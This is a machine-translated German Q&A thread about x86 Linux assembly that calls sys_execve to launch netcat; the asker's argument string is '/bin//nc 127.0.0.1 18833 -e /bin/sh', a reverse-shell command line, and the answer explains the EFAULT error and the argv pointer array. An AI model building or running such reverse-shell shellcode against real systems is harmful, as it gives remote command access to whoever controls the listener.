2017-03-08 6 views
0

Ich schreibe ein Assembly-Programm, das Netcat aufrufen und ein Programm über das Internet ausführen muss.Linux Sys_execve wird nicht in Assembly ausgeführt

Wie ich es verstehe, zeigen Sie für einen Execve-Befehl das EBX-Register auf das Programm, das mit einem Nullbyte am Ende ausgeführt werden soll, um es zu beenden. Sie zeigen das ECX-Register auf Argumente, die durch Nullbytes mit zwei Nullbytes am Ende der Liste der Argumente getrennt sind. Sie setzen EDX einfach auf eine Menge Nullbytes.

an meinem Befehl int0x80 den Befehl meine Register wie folgt aussehen auszuführen:

Eax: 11 #SYSTEM nennen
EBX: 0x0783140 #/bin // nc
ECX: 0x078314a #args
EDX: 0x07831a4 #ENV

Hier ist der Wert des Speichers bei 0x0783140 in ascii:

[null Byte] = 0x00

/bin // nc [Nullbyte] 127.0.0.1 [Nullbyte] 18833 [Nullbyte] -e [Nullbyte]/bin/sh [Nullbyte] [Nullbyte]

EBX zeigt auf '/ bin // nc‘
ECX Punkte auf‚127.0.0.1‘
RDX verweist nur auf eine Reihe von null-Bytes

das Programm wird auf den int 0x80 Anruf erhalten, aber es wird sofort zurück und setzen 0xfffffff2 in der EAX registrieren.

Jede Hilfe wäre großartig.

EDIT: Dank Ephemient kann ich jetzt netcat tatsächlich laufen, aber irgendwie denke ich, dass meine Argumente nicht korrekt vom Programm gelesen werden. Ich denke dies, weil netcat läuft, aber sofort mit Exit-Code 1 beendet und keine Verbindung zu meinem Listener aufgebaut wird.

ECX verweist nun auf den im Speicher (Anmerkung i setzen Räume zwischen Adressen zur besseren Lesbarkeit, aber sie nicht in meinem Programm vorhanden ist):

0x78315e 0x783168 0x78316e 0x783171 0x00000000 

0x78315e => 127.0.0.1[Null Byte] 
0x783168 => 18833[Null Byte] 
0x78316e => -e[Null Byte] 
0x783171 => /root/myprogram[Null Byte] 

Ich habe vervierfachen überprüft, dass die Adressen weisen tatsächlich auf den askii Werte über

Antwort

1

Sie erhalten errno=EFAULT (0xfffffff2 = -14, 14 = EFAULT), was bedeutet, dass Sie eine schlechte Adresse an den Syscall übergeben.

SYS_execve dauert 3 Argumente, aber die zweite und dritte sind NULL-terminierte Arrays von Zeigern zu Argumenten/Environment-Strings, nicht eine einzige Zeichenfolge von null getrennten Komponenten. Das Interpretieren der Zeichenfolge als ein Array von Zeigern bedeutet, dass die ersten 4 Byte der Zeichenfolge als die Adresse der ersten Zeichenfolge interpretiert werden, aber es ist keine gültige Adresse, daher EFAULT.

SYSCALL_DEFINE3(execve, 
       const char __user *, filename, 
       const char __user *const __user *, argv, 
       const char __user *const __user *, envp) 
+0

Vielen Dank, dass das Problem von netcat nicht behoben, aber jetzt die Args nicht richtig gelesen werden. Jede weitere Hilfe, die Sie zur Verfügung stellen können, wäre sehr willkommen. –

+0

@HansDonkersloot Es sieht so aus, als ob Sie argv [0] vermissen. Dies ist oft der Dateiname der Binärdatei. Es sollte vor dem Rest der Argumente stehen. – ephemient

Verwandte Themen